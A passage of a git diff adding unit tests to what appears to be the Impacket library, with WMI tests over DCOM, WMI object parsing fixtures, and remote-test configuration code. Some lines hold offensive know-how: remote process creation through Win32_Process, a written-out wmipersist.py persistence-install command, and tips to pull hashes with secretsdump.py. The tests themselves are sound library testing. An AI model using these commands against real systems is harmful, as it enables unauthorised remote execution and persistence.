+#   IWbemLevel1Login::WBEMLogin
+#   IWbemLevel1Login::NTLMLogin
+#   IWbemServices::OpenNamespace
+#   IWbemServices::ExecQuery
+#   IWbemServices::GetObject
+#
+#   Since DCOM is more high level, I'll always use the helper classes
+#
+# Not yet:
+#   IWbemServices::CancelAsyncCall
+#   IWbemServices::QueryObjectSink
+#   IWbemServices::GetObjectAsync
+#   IWbemServices::PutClass
+#   IWbemServices::PutClassAsync
+#   IWbemServices::DeleteClass
+#   IWbemServices::DeleteClassAsync
+#   IWbemServices::CreateClassEnum
+#   IWbemServices::CreateClassEnumAsync
+#   IWbemServices::PutInstance
+#   IWbemServices::PutInstanceAsync
+#   IWbemServices::DeleteInstance
+#   IWbemServices::DeleteInstanceAsync
+#   IWbemServices::CreateInstanceEnum
+#   IWbemServices::CreateInstanceEnumAsync
+#   IWbemServices::ExecQueryAsync
+#   IWbemServices::ExecNotificationQuery
+#   IWbemServices::ExecNotificationQueryAsync
+#   IWbemServices::ExecMethod
+#   IWbemServices::ExecMethodAsync
+# 
+# Shouldn't dump errors against a win7
+#
+from __future__ import division
+from __future__ import print_function
+
+import zlib
+import base64
+import pytest
+import unittest
+from tests import RemoteTestCase
+
+from impacket.dcerpc.v5.dcom import wmi
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.dcomrt import DCOMConnection
+
+
+@pytest.mark.remote
+class WMITests(RemoteTestCase, unittest.TestCase):
+
+    def setUp(self):
+        super(WMITests, self).setUp()
+        self.set_transport_config()
+
+    @pytest.mark.xfail
+    def test_activation(self):
+        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
+        dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLoginClientID)
+        dcom.disconnect()
+
+    def test_IWbemLevel1Login_EstablishPosition(self):
+        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
+        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
+        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
+        resp = iWbemLevel1Login.EstablishPosition()
+        print(resp)
+        dcom.disconnect()
+
+    def test_IWbemLevel1Login_RequestChallenge(self):
+        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
+        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
+        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
+        try:
+            resp = iWbemLevel1Login.RequestChallenge()
+            print(resp)
+        except Exception as e:
+            if str(e).find('WBEM_E_NOT_SUPPORTED') < 0:
+                dcom.disconnect()
+                raise
+        dcom.disconnect()
+
+    def test_IWbemLevel1Login_WBEMLogin(self):
+        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
+        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
+        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
+        try:
+            resp = iWbemLevel1Login.WBEMLogin()
+            print(resp)
+        except Exception as e:
+            if str(e).find('E_NOTIMPL') < 0:
+                dcom.disconnect()
+                raise
+        dcom.disconnect()
+
+    def test_IWbemLevel1Login_NTLMLogin(self):
+        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
+        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
+        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
+        resp = iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL)
+        print(resp)
+        dcom.disconnect()
+
+    @pytest.mark.xfail
+    def test_IWbemServices_OpenNamespace(self):
+        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
+        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
+        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
+        iWbemServices = iWbemLevel1Login.NTLMLogin('//./ROOT', NULL, NULL)
+        try:
+            resp = iWbemServices.OpenNamespace('__Namespace')
+            print(resp)
+        except Exception:
+            dcom.disconnect()
+            raise
+        dcom.disconnect()
+
+    def test_IWbemServices_GetObject(self):
+        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
+        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
+        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
+        iWbemServices= iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL)
+        iWbemLevel1Login.RemRelease()
+
+        classObject, _ = iWbemServices.GetObject('Win32_Process')
+       
+        dcom.disconnect()
+
+    def test_IWbemServices_ExecQuery(self):
+        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
+        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
+        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
+        iWbemServices = iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL)
+        #classes = [ 'Win32_Account', 'Win32_UserAccount', 'Win32_Group', 'Win32_SystemAccount', 'Win32_Service']
+        classes = ['Win32_Service']
+        for classn in classes:
+            print("Reading %s " % classn)
+            try:
+                iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from %s' % classn)
+                done = False
+                while done is False:
+                    try:
+                        iEnumWbemClassObject.Next(0xffffffff,1)
+                    except Exception as e:
+                        if str(e).find('S_FALSE') < 0:
+                            print(e)
+                        else:
+                            done = True
+                            pass
+            except Exception as e:
+                if str(e).find('S_FALSE') < 0:
+                    print(e)
+        dcom.disconnect()
+
+    def test_IWbemServices_ExecMethod(self):
+        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
+        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
+        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
+        iWbemServices = iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL)
+
+        #classObject,_ = iWbemServices.GetObject('WinMgmts:Win32_LogicalDisk='C:'')
+        classObject, _ = iWbemServices.GetObject('Win32_Process')
+        obj = classObject.Create('notepad.exe', 'c:\\', None)
+        handle = obj.getProperties()['ProcessId']['value']
+        
+        iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Process where handle = %s' % handle)
+        oooo = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
+        #import time
+        #time.sleep(5)
+        oooo.Terminate(1)
+
+        #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Group where name = "testGroup0"')
+        #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0]
+        #import time
+        #owner = oooo.Rename('testGroup1')
+
+        #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Share where name = "Users"')
+        #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0]
+        #import time
+        #owner = oooo.GetAccessMask()
+        #print owner.getProperties()
+
+        #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Share where name = "Users"')
+        #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0]
+        #obj = oooo.SetShareInfo(0, 'HOLA BETO', None)
+
+        #classObject,_ = iWbemServices.GetObject('Win32_ShadowCopy')
+        #obj = classObject.Create('C:\\', 'ClientAccessible')
+        #print obj.getProperties()
+
+        # this one doesn't work
+        #classObject,_ = iWbemServices.GetObject('Win32_Service')
+        #obj = classObject.Create('BETOSERVICE', 'Beto Service', 'c:\\beto', 16, 0, 'Manual', 0, None, None, None, None, None)
+        #print obj.getProperties()
+
+        dcom.disconnect()
+
+
+class WMIOfflineTests(unittest.TestCase):
+
+    @staticmethod
+    def createIWbemClassObject(b64_compressed_obj_ref):
+        obj_ref = zlib.decompress(base64.b64decode(b64_compressed_obj_ref))
+        interface = wmi.INTERFACE(objRef=obj_ref, target='')
+        return wmi.IWbemClassObject(interface, interface)  # Use the same interface as a iWbemServices mock
+
+    def assertIWbemClassObjectAttr(self, _object, attribute_name, expected_value):
+        actual_value = getattr(_object, attribute_name)
+        self.assertEqual(expected_value, actual_value, '{}.{} is {!r}, but was expecting {!r}'.format(
+            _object.getClassName(), attribute_name, actual_value, expected_value
+        ))
+
+    def test_win32_current_time_class_parsing(self):
+        """
+        https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wmitimepprov/win32-currenttime
+        Parse a Win32_CurrentTime instance object, response for the 'Select * from Win32_UTCTime' WMI query
+
+        The data was obtained by running the following command while patching impacket.dcerpc.v5.dcomrt.INTERFACE:
+        echo 'Select * from Win32_UTCTime' | wmiquery.py username:password@x.x.x.x -file -
+
+        The following lines were added in the impacket.dcerpc.v5.dcomrt.INTERFACE class constructor:
+        https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_22/impacket/dcerpc/v5/dcomrt.py#L1111-L1112
+        if objRef and b'Win32_CurrentTime' in objRef:
+            import base64, textwrap, zlib
+            print('\n'.join(textwrap.wrap(base64.b64encode(zlib.compress(objRef)), 96)))
+
+        Target's time had previously been set to 00:00 UTC
+        """
+        current_time_obj = self.createIWbemClassObject('''
+        eJzNks8vA0EUx7/bVutXQotEQkPSJg4Sh1YcnCTVhFC/WopIpKmhGzWbbHeFOCAcSBzEwR/g4ODmJP4CN5x6EiccHcWNN7Ok
+        I/bg6CWfnTcvn7d5szup5HjWB2D3PPSwXboLHqRwgZGeaOj9ONkfvg8edjh7UlD2AhszvaFbWv1IJ2eSY7N9vYBpGNZCXl9b
+        j6HghRPdRJtIsjqPxxYTtmkybmX0NYYmqnYRAWBHq6Pk48NPKaopbSAiRNyp19KzR2yJeYIRR8QJcU3cEK/EGxHWgCgxQmSI
+        LWKPuCCuiEfiSRNv/XOcemgs5wDTmYQc3tkmikZ+dcI01vUlZgJpna8UmWVwYDC3iaYBwCOPIyJI0Dl2IqIwJSq2zq14TLrj
+        y1nGVmWHF/VuHftqx5Bhm1L2o9VNvlTllF4s6iWWN/hSSTbVIOrW9PKzidsWk3oA7W56i6bqBrcK0tbgc7MTqj1p50yLOSeo
+        QrObX1L9tBxe6tXodNPPVF18ymFeGcmHRreestozx3LOPJX4IXs9ivx/YrSS1j8HxH2AvHAehe+IfK3i/2gN+H2lgU8VG67O
+        ''')
+        self.assertIWbemClassObjectAttr(current_time_obj, 'Year', 2021)
+        self.assertIWbemClassObjectAttr(current_time_obj, 'Month', 6)
+        self.assertIWbemClassObjectAttr(current_time_obj, 'Day', 8)
+        self.assertIWbemClassObjectAttr(current_time_obj, 'DayOfWeek', 2)
+        self.assertIWbemClassObjectAttr(current_time_obj, 'Hour', 0)
+        self.assertIWbemClassObjectAttr(current_time_obj, 'Minute', 0)
+        self.assertIWbemClassObjectAttr(current_time_obj, 'Second', 35)
+        # According to the Win32_CurrentTime class documentation, the Milliseconds property is not returned / used, the
+        # PowerShell "gwmi win32_currenttime" command output shows it empty indicating it is $null, so it should be None
+        self.assertIWbemClassObjectAttr(current_time_obj, 'Milliseconds', None)
+
+    def test_wmi_persist_classes_parsing(self):
+        """
+        Parse several objects created thorough SpawnInstance in wmipersist.py
+
+        The data was obtained by running the following command while patching IWbemClassObject.SpawnInstance():
+        wmipersist.py username:password@x.x.x.x -debug install -name ASEC -timer 1000 -vbs toexec.vbs
+
+        The following lines were added in the impacket.dcerpc.v5.dcom.wmi.IWbemClassObject.SpawnInstance():
+        https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_22/impacket/dcerpc/v5/dcom/wmi.py#L2557
+        import base64, textwrap, zlib
+        print('\n'.join(textwrap.wrap(base64.b64encode(zlib.compress(objRefCustomIn.getData())), 96)))
+        """
+
+        # NOTE: I think these shouldn't be strings, see impacket.dcerpc.v5.dcom.wmi.ENCODED_VALUE.getValue() and
+        # impacket.dcerpc.v5.dcom.wmi.CLASS_PART.getProperties() (links below). I won't change that code since I
+        # don't know the potential splash damage. If you've changed it and found yourself trying to figure out why
+        # does this test fail, just delete this comment, remove string quotes, and inline the following variables
+        # https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_22/impacket/dcerpc/v5/dcom/wmi.py#L341-L344
+        # https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_22/impacket/dcerpc/v5/dcom/wmi.py#L568-L569
+        default_creator_sid = '[1, 1, 0, 0, 0, 0, 0, 5, 18, 0, 0, 0]'
+        false = 'False'
+
+        # ActiveScriptEventConsumer - https://docs.microsoft.com/en-us/windows/win32/wmisdk/activescripteventconsumer
+        asec_obj = self.createIWbemClassObject('''
+        eJy1k89r1EAUx7/Z7db6AzS7FpRaq1bpSQuuoHhSdrNLKetis1gKwpqmwzqQTCSZKVsvxpvevIlexIsH8eS/4UHBqxcPIp68
+        6qm+mezWrARvHfgwM2/yvu87L0nH6a5PAXj8pvrlUfLRftLBW6xeOl/99cy5Pv/JfrqQ7ekR/CgDwztXql9pnkaz1W623Lbb
+        bDvAWrfbu5uozcSP+QPJI4FBGdk4Rzh60e8720zIRiQSFbIYdhZcEVvc93TOGgs8ybYwmx24O4lkYSPwkgRHKaKfn9NHWvkg
+        mZ6heZFYJu4RIfGKeEd8Jr4RSxZwkegTEfGaeE/8Jiolis3ujsZV2u3+M3S1lyWkuOlLvs1cc7vJWyCIfC9gQCNmnoxid6UJ
+        m9yUjD3SxCniEJAu6sBG5j+tH4YuB8WFvAas8iDo8ZBFSqJGJwdMVjmXXdbZzwm6eIpcdv0y0PH8+1ywW17IMHNj1HhT3M4X
+        /6CjiYy5GOicIQ9VeFsxxVz+kKFGiZaWN4mn84k2deskUdebM7TYq6wElwmwuSMZTZkB4/xIkf91S5dAWhv5H3vJGtviARNj
+        hWmcKFJ4YU12YFKBlo4YUCeMxBSOjSSW8hLfSeKnvkMmUaQmItkXKgjGuj02lEayguNFrpZLha50DyzLvItKFfsyNv4u53Lh
+        eWKBOIvsF4FpB7m5gP9/zXvjDwGExJk=
+        ''')
+        self.assertIWbemClassObjectAttr(asec_obj, 'CreatorSID', default_creator_sid)  # see comments on variable
+        self.assertIWbemClassObjectAttr(asec_obj, 'KillTimeout', 0)
+        self.assertIWbemClassObjectAttr(asec_obj, 'MachineName', '')
+        self.assertIWbemClassObjectAttr(asec_obj, 'MaximumQueueSize', 0)
+        self.assertIWbemClassObjectAttr(asec_obj, 'Name', '')
+        self.assertIWbemClassObjectAttr(asec_obj, 'ScriptingEngine', '')
+        self.assertIWbemClassObjectAttr(asec_obj, 'ScriptFilename', '')
+        self.assertIWbemClassObjectAttr(asec_obj, 'ScriptText', '')
+
+        # __IntervalTimerInstruction - https://docs.microsoft.com/en-us/windows/win32/wmisdk/--intervaltimerinstruction
+        iti_obj = self.createIWbemClassObject('''
+        eJy9UbFOAkEQfYAxRBINh1aiFtrYWIiVNkY5LsQQDEe0MZLjWM3isUdu91ATEzE22ukX2Fn4EbaW8gF+iLHBWQ6vsbBzkrc3
+        Ozv79r25ilk9nABw82x8XMv37F0FL9hbWzE+H8zNhUH2finaUwuCJHBxsGG06TuJYskqlmzLLlomUKtW60cybEo34F3FfYHp
+        JKLIEI510mjUeYcFZSFVELqjptmobvaYUBYTLHCUH8CIqmXR4q6j+2rMcxRrYS46sC+lYp1dz5ESM1TR+lOEPKFAeCQ8Ed4I
+        A8L8kALQq0qgP6JWLOg53i9B+DnZYeqcMTFSJpEjliR5jt5aJUwB/VSakrYeDCGnfQ6HVzrV9VutNeRCFdYB4auGCD2PKoIT
+        Hzrc87hkri9atLPPeLd8sk9+yGRmG0jEnrLjt5Y156vmbPq+xxySGolvIb09nnQ8hPjCFzQX+oVIHMgoF6f4/9iKs3ycaYuJ
+        RfzxQ/AN/wuDfg==
+        ''')
+        self.assertIWbemClassObjectAttr(iti_obj, 'IntervalBetweenEvents', 0)
+        self.assertIWbemClassObjectAttr(iti_obj, 'SkipIfPassed', false)  # see comments on variable
+        self.assertIWbemClassObjectAttr(iti_obj, 'TimerId', '')
+
+        # __EventFilter - https://docs.microsoft.com/en-us/windows/win32/wmisdk/--eventfilter
+        ef_obj = self.createIWbemClassObject('''
+        eJydkr9Lw0AUx1/6C1GhJrWIP4oOjlIcHMRNmrSUtpY2oghCONOjBGpachdpJ3XTrYObzg4ujk7+DfoHuDs6KW71XRJtaDv5
+        4JN7d/e+975HrqJVD2MAcHmvvJ2zF/mqAg9Qyq4r331tJ/MqX6/6cyyBuwhA92BLucExAWq+oOb1gq4WNIB6tbp/zNwTZjpW
+        h1ttG7IR8GMJ2RSJYRTthmUSsV2nLcJpA9L+ht5jnJ7mWoQxSOKKcJRARL6MlJEj5ALpI0/IM/KBfCEZCWADqX0OMHTMBiNx
+        K6HYMLQzavO81eLUAcg5lPC2oxdVkNcAJK+tsL2CTGO36BQmeDuI4iQ1A+JYcC2bb+OyOGnXNClaFmVxmA/UcljdFRdk3LHs
+        ZqDZI6eUdYhJPVkM5ibJHsMyofCK/Rhz+A7C/NDhr67mUqfnCaMwO6lLWgp18arLxG66pOm3iwTfEVUppBLHSpJnK67A/0Mb
+        pslgFD1TwiSyAP6bkBZh/Df+xQ8W2n+V
+        ''')
+        self.assertIWbemClassObjectAttr(ef_obj, 'CreatorSID', None)
+        self.assertIWbemClassObjectAttr(ef_obj, 'EventAccess', '')
+        self.assertIWbemClassObjectAttr(ef_obj, 'EventNamespace', '')
+        self.assertIWbemClassObjectAttr(ef_obj, 'Name', '')
+        self.assertIWbemClassObjectAttr(ef_obj, 'Query', '')
+        self.assertIWbemClassObjectAttr(ef_obj, 'QueryLanguage', '')
+
+        # __FilterToConsumerBinding - https://docs.microsoft.com/en-us/windows/win32/wmisdk/--filtertoconsumerbinding
+        ftcb_obj = self.createIWbemClassObject('''
+        eJydks9rE0EUx79pqi22VLOlINhSDx68KOIPKIUWNJuEUEO0G/RSWLabaR2YzrQzs2lXEONNb0L/BwUPHnr14sGz+gd48q5H
+        9Rbf7MY00OjBB5/Z2Z33vvPe29eoNB+OA3j2yvvy1HwqPW/gDdauXvJ+vawsL3wuvVjM38kFrSJw8OCmd5eep+FXa341qAV+
+        rQKsN5utDZNsmljzXcuVxNcx5HaeuOY2YViXbR5H7nidiciyNubygyA1lu2URWQMztIXxwVidoqWXm+C1svEdWKPeEK8JT4Q
+        hQIwQ9wiVojHxCHxjvhIzL3vDVme0g/6vjqGLt1c5cIy3VJlJU2yw/QdTjnKbeC2MSrmWbLAn1NsuRvhGubKmyfOAN3iJG02
+        siN0+zlDs63lMKx0mLSDcJQ1i6zSQd1H6aLrojdK6jVRHJJKuLRLgM8E7zAdpDJ+pJVUiREppjLf6VEy34mfx13EplKCRVSO
+        VDaUiRADyfS+CjCbaUz2lUrDSleosCyLG/QL8pZlrcjtxMXbhb+2oh+MRkRqRMDiRHObUossO7BZOeOYGZXEkUtiUEMg1L6v
+        9uU9rTq8zbTJQk/h3KjQb8Oh0/2pce4e/t/qx1s3qwsnHNyYFBbx7zkj+w1KorBh
+        ''')
+        self.assertIWbemClassObjectAttr(ftcb_obj, 'Consumer', '')
+        self.assertIWbemClassObjectAttr(ftcb_obj, 'CreatorSID', None)
+        self.assertIWbemClassObjectAttr(ftcb_obj, 'DeliverSynchronously', false)  # see comments on variable
+        self.assertIWbemClassObjectAttr(ftcb_obj, 'DeliveryQoS', 0)
+        self.assertIWbemClassObjectAttr(ftcb_obj, 'Filter', '')
+        self.assertIWbemClassObjectAttr(ftcb_obj, 'MaintainSecurityContext', false)  # see comments on variable
+        self.assertIWbemClassObjectAttr(ftcb_obj, 'SlowDownProviders', false)  # see comments on variable
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/__init__.py b/tests/__init__.py
new file mode 100644
index 0000000..01eb7bd
--- /dev/null
+++ b/tests/__init__.py
@@ -0,0 +1,113 @@
+#!/usr/bin/env python
+# SECUREAUTH LABS. Copyright 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Base tests cases module
+#
+from os import getenv
+from os.path import join
+from binascii import unhexlify
+from six.moves.configparser import ConfigParser
+
+
+# Module-scope variable to hold remote configuration in case it was set by pytest
+remote_config_file_path = None
+
+
+remote_config_section = "TCPTransport"
+
+
+remote_config_params = [
+    ("servername", "Server NetBIOS Name"),
+    ("machine", "Target hostname or IP address"),
+    ("username", "User's username"),
+    ("password", "User's password"),
+    ("hashes", "User's NTLM hashes, you can grab them with secretsdump.py or will be calculated from the password"),
+    ("aesKey256", "User's Kerberos AES 256 Key, you can grab it with secretsdump.py"),
+    ("aesKey128", "User's Kerberos AES 128 Key, you can grab it with secretsdump.py"),
+    ("domain", "Domain FQDN"),
+    ("machineuser", "Domain-joined machine NetBIOS Name"),
+    ("machineuserhashes", "Domain-joined machine NTLM hashes, you can grab them with secretsdump.py"),
+]
+remote_config_params_names = [name for name, _ in remote_config_params]
+
+
+def set_remote_config_file_path(config_file):
+    """Sets the configuration file path for further considering it"""
+    global remote_config_file_path
+    remote_config_file_path = config_file or None
+
+
+def get_remote_config_file_path():
+    """Obtains the configuration file path according to the different options available
+    to specify it.
+    """
+    if remote_config_file_path:
+        return remote_config_file_path
+    remote_config_file = getenv("REMOTE_CONFIG")
+    if not remote_config_file:
+        remote_config_file = join("tests", "dcetests.cfg")
+    return remote_config_file
+
+
+def get_remote_config():
+    """Retrieves the remote tests configuration.
+    """
+    remote_config_file = ConfigParser()
+    remote_config_file.read(get_remote_config_file_path())
+    return remote_config_file
+
+
+def set_transport_config(obj, machine_account=False, aes_keys=False):
+    """Set configuration parameters in the unit test.
+    """
+    remote_config = get_remote_config()
+    obj.username = remote_config.get(remote_config_section, "username")
+    obj.domain = remote_config.get(remote_config_section, "domain")
+    obj.serverName = remote_config.get(remote_config_section, "servername")
+    obj.password = remote_config.get(remote_config_section, "password")
+    obj.machine = remote_config.get(remote_config_section, "machine")
+    obj.hashes = remote_config.get(remote_config_section, "hashes")
+    if len(obj.hashes):
+        obj.lmhash, obj.nthash = obj.hashes.split(':')
+        obj.blmhash = unhexlify(obj.lmhash)
+        obj.bnthash = unhexlify(obj.nthash)
+    else:
+        obj.lmhash = obj.blmhash = ''
+        obj.nthash = obj.bnthash = ''
+
+    if machine_account:
+        obj.machine_user = remote_config.get(remote_config_section, "machineuser")
+        obj.machine_user_hashes = remote_config.get(remote_config_section, "machineuserhashes")
+        if len(obj.machine_user_hashes):
+            obj.machine_user_lmhash, obj.machine_user_nthash = obj.machine_user_hashes.split(':')
+            obj.machine_user_blmhash = unhexlify(obj.machine_user_lmhash)
+            obj.machine_user_bnthash = unhexlify(obj.machine_user_nthash)
+        else:
+            obj.machine_user_lmhash = obj.machine_user_blmhash = ''
+            obj.machine_user_nthash = obj.machine_user_bnthash = ''
+
+    if aes_keys:
+        obj.aes_key_128 = remote_config.get(remote_config_section, 'aesKey128')
+        obj.aes_key_256 = remote_config.get(remote_config_section, 'aesKey256')
+
+
+class RemoteTestCase(object):
+    """Remote Test Case Base Class
+
+    Holds configuration parameters for all remote base classes. Configuration is by
+    default loaded from `tests/dctests.cfg`, but a different path can be specified with
+    the REMOTE_CONFIG environment variable. When tests are loaded by pytest, a remote
+    configuration file can also be specified using the `--remote-config` command line
+    option or the `remote-config` ini option.
+
+    Configuration parameters can be found in the `tests/dcetests.cfg.template` file.
+    """
+
+    def set_transport_config(self, machine_account=False, aes_keys=False):
+        """Set configuration parameters in the unit test.
+        """
+        set_transport_config(self, machine_account=machine_account, aes_keys=aes_keys)
diff --git a/tests/conftest.py b/tests/conftest.py
new file mode 100644
index 0000000..409f915
--- /dev/null
+++ b/tests/conftest.py
@@ -0,0 +1,41 @@
+#!/usr/bin/env python
+# SECUREAUTH LABS. Copyright 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tests configuration
+#
+import pytest
+from . import set_remote_config_file_path, set_transport_config
+
+
+def pytest_configure(config):
+    """Hook that sets remote configuration file path as specified in pytest command line
+    or ini option, and apply the configuration options to the pytest `config` object.
+    """
+    config_file = config.getoption("--remote-config")
+    if not config_file:
+        config_file = config.getini("remote-config")
+    if config_file:
+        set_remote_config_file_path(config_file)
+        set_transport_config(config)
+
+
+def pytest_addoption(parser):
+    """Hook that adds pytest options for configuring the remote configuration
+    file.
+    """
+    parser.addoption("--remote-config", dest="remote_config", metavar="FILE",
+                     help="Configuration file for remote tests")
+    parser.addini("remote-config", help="Configuration file for remote tests", type="pathlist")
+
+
+@pytest.fixture(scope="class", name="remote")
+def remote_config(request):
+    """Remote Test Case configuration fixture
+
+    Sets the configuration attributes in the test class for easier access.
+    """
+    set_transport_config(request.cls)
diff --git a/tests/data/ccache-v1 b/tests/data/ccache-v1
new file mode 100644
index 0000000..10e487c
Binary files /dev/null and b/tests/data/ccache-v1 differ
diff --git a/tests/data/ccache-v2 b/tests/data/ccache-v2
new file mode 100644
index 0000000..f51c6a2
Binary files /dev/null and b/tests/data/ccache-v2 differ
diff --git a/tests/data/ccache-v3 b/tests/data/ccache-v3
new file mode 100644
index 0000000..896bc30
Binary files /dev/null and b/tests/data/ccache-v3 differ
diff --git a/tests/data/ccache-v3-kirbi b/tests/data/ccache-v3-kirbi
new file mode 100644
index 0000000..880f3fb
Binary files /dev/null and b/tests/data/ccache-v3-kirbi differ
diff --git a/tests/data/ccache-v4 b/tests/data/ccache-v4
new file mode 100644
index 0000000..909ebd5
Binary files /dev/null and b/tests/data/ccache-v4 differ
diff --git a/tests/data/ccache-v4-kirbi b/tests/data/ccache-v4-kirbi
new file mode 100644
index 0000000..977ab24
Binary files /dev/null and b/tests/data/ccache-v4-kirbi differ
diff --git a/tests/dcerpc/__init__.py b/tests/dcerpc/__init__.py
new file mode 100644
index 0000000..687c51e
--- /dev/null
+++ b/tests/dcerpc/__init__.py
@@ -0,0 +1,87 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Base class for testing DCE/RPC Endpoints.
+#
+# Author:
+#   @martingalloar
+#
+from tests import RemoteTestCase
+
+from impacket.dcerpc.v5 import transport, epm
+
+
+class DCERPCTests(RemoteTestCase):
+
+    STRING_BINDING_FORMATTING = 1
+    STRING_BINDING_MAPPER = 2
+
+    TRANSFER_SYNTAX_NDR = ("8a885d04-1ceb-11c9-9fe8-08002b104860", "2.0")
+    TRANSFER_SYNTAX_NDR64 = ("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0")
+
+    timeout = None
+    authn = False
+    authn_level = None
+    iface_uuid = None
+    protocol = None
+    string_binding = None
+    string_binding_formatting = STRING_BINDING_FORMATTING
+    transfer_syntax = None
+    machine_account = False
+
+    def connect(self, string_binding=None, iface_uuid=None):
+        """Obtains a RPC Transport and a DCE interface according to the bindings and
+        transfer syntax specified.
+
+        :return: tuple of DCE/RPC and RPC Transport objects
+        :rtype: (DCERPC_v5, DCERPCTransport)
+        """
+        string_binding = string_binding or self.string_binding
+        if not string_binding:
+            raise NotImplemented("String binding must be defined")
+
+        rpc_transport = transport.DCERPCTransportFactory(string_binding)
+
+        # Set timeout if defined
+        if self.timeout:
+            rpc_transport.set_connect_timeout(self.timeout)
+
+        # Authenticate if specified
+        if self.authn and hasattr(rpc_transport, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+            rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)
+
+        # Gets the DCE RPC object
+        dce = rpc_transport.get_dce_rpc()
+
+        # Set the authentication level
+        if self.authn_level:
+            dce.set_auth_level(self.authn_level)
+
+        # Connect
+        dce.connect()
+
+        # Bind if specified
+        iface_uuid = iface_uuid or self.iface_uuid
+        if iface_uuid and self.transfer_syntax:
+            dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax)
+        elif iface_uuid:
+            dce.bind(iface_uuid)
+
+        return dce, rpc_transport
+
+    def setUp(self):
+        super(DCERPCTests, self).setUp()
+        self.set_transport_config(machine_account=self.machine_account)
+
+        if self.string_binding_formatting == self.STRING_BINDING_FORMATTING:
+            self.string_binding = self.string_binding.format(self)
+        elif self.string_binding_formatting == self.STRING_BINDING_MAPPER:
+            self.string_binding = epm.hept_map(self.machine, self.iface_uuid, protocol=self.protocol)
diff --git a/tests/dcerpc/test_bkrp.py b/tests/dcerpc/test_bkrp.py
new file mode 100644
index 0000000..1a151cd
--- /dev/null
+++ b/tests/dcerpc/test_bkrp.py
@@ -0,0 +1,175 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   (h)BackuprKey
+#
+from __future__ import division
+from __future__ import print_function
+
+import pytest
+import unittest
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5 import bkrp
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
